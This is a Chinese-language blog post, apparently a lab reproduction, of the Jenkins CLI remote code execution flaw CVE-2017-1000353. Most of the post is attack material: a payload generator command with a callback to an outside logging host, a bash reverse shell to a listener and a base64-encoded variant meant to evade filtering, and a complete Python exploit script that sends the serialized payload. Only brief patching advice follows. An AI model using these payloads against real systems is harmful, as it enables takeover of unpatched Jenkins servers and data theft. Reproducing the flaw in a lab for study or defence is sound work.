首页 > 其他 > 详细

Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)

时间:2020-07-13 09:24:46      阅读:88      评论:0      收藏:0      [点我收藏+]

0X01 漏洞介绍

该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中。Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。

0x02 影响版本

低于 2.56 的所有 Jenkins 主线版本

低于 2.46.1 的所有 Jenkins LTS 版本

0x03 搭建环境

Vulhub环境

0x04 漏洞复现

下载:CVE-2017-1000353-1.1-SNAPSHOT-all.jar

https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar

执行:java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "curl eppvh1.ceye.io"

poc.ser文件就是序列化字符串。

 

监听机器IP:10.10.10.10

构造发送正常的反弹shell命令是无法反弹的:bash -i >& /dev/tcp/10.10.10.10/7777 0>&1

需要通过base64编码绕过:bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}

 

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}"

python3 exploit.py url poc.ser

 

EXP:

 

import urllib
import sys
import requests
import uuid
import threading
import time
import gzip
import urllib3
import zlib

proxies = {
# ‘http‘: ‘http://127.0.0.1:8085‘,
# ‘https‘: ‘http://127.0.0.1:8090‘,
}

URL = ‘%s/cli‘ % sys.argv[1].rstrip(‘/‘)

PREAMLE = b‘<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=‘
PROTO = b‘\x00\x00\x00\x00‘

with open(sys.argv[2], "rb") as f:
    FILE_SER = f.read()

def download(url, session):

    headers = {‘Side‘ : ‘download‘}
    headers[‘Content-type‘] = ‘application/x-www-form-urlencoded‘
    headers[‘Session‘] = session
    headers[‘Transfer-Encoding‘] = ‘chunked‘
    r = requests.post(url, data=null_payload(), headers=headers, proxies=proxies, stream=True, verify=False)
    print(r.content)


def upload(url, session, data):

    headers = {‘Side‘ : ‘upload‘}
    headers[‘Session‘] = session
    headers[‘Content-type‘] = ‘application/octet-stream‘
    headers[‘Accept-Encoding‘] = None
    r = requests.post(url,data=data,headers=headers,proxies=proxies, verify=False)


def upload_chunked(url,session, data):

    headers = {‘Side‘ : ‘upload‘}
    headers[‘Session‘] = session
    headers[‘Content-type‘] = ‘application/octet-stream‘
    headers[‘Accept-Encoding‘]= None
    headers[‘Transfer-Encoding‘] = ‘chunked‘
    headers[‘Cache-Control‘] = ‘no-cache‘

    r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies, verify=False)


def null_payload():
    yield b" "

def create_payload():
    payload = PREAMLE + PROTO + FILE_SER

    return payload

def create_payload_chunked():
    yield PREAMLE
    yield PROTO
    yield FILE_SER

def main():
    print("start")

    session = str(uuid.uuid4())

    t = threading.Thread(target=download, args=(URL, session))
    t.start()
    
    time.sleep(2)
    print("pwn")
    #upload(URL, session, create_payload())

    upload_chunked(URL, session, "asdf")

if __name__ == "__main__":
    main()
 

0x05 修复方案

对Jenkins后台进行安全加固,配置强密码,使用安全组配置严格的网络访问控制策略,禁止对所有人开放访问。

Jenkins 主线版本升级到 2.57

Jenkins LTS 版本 2.46.2

Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)

原文:https://www.cnblogs.com/huasheng333/p/13291524.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!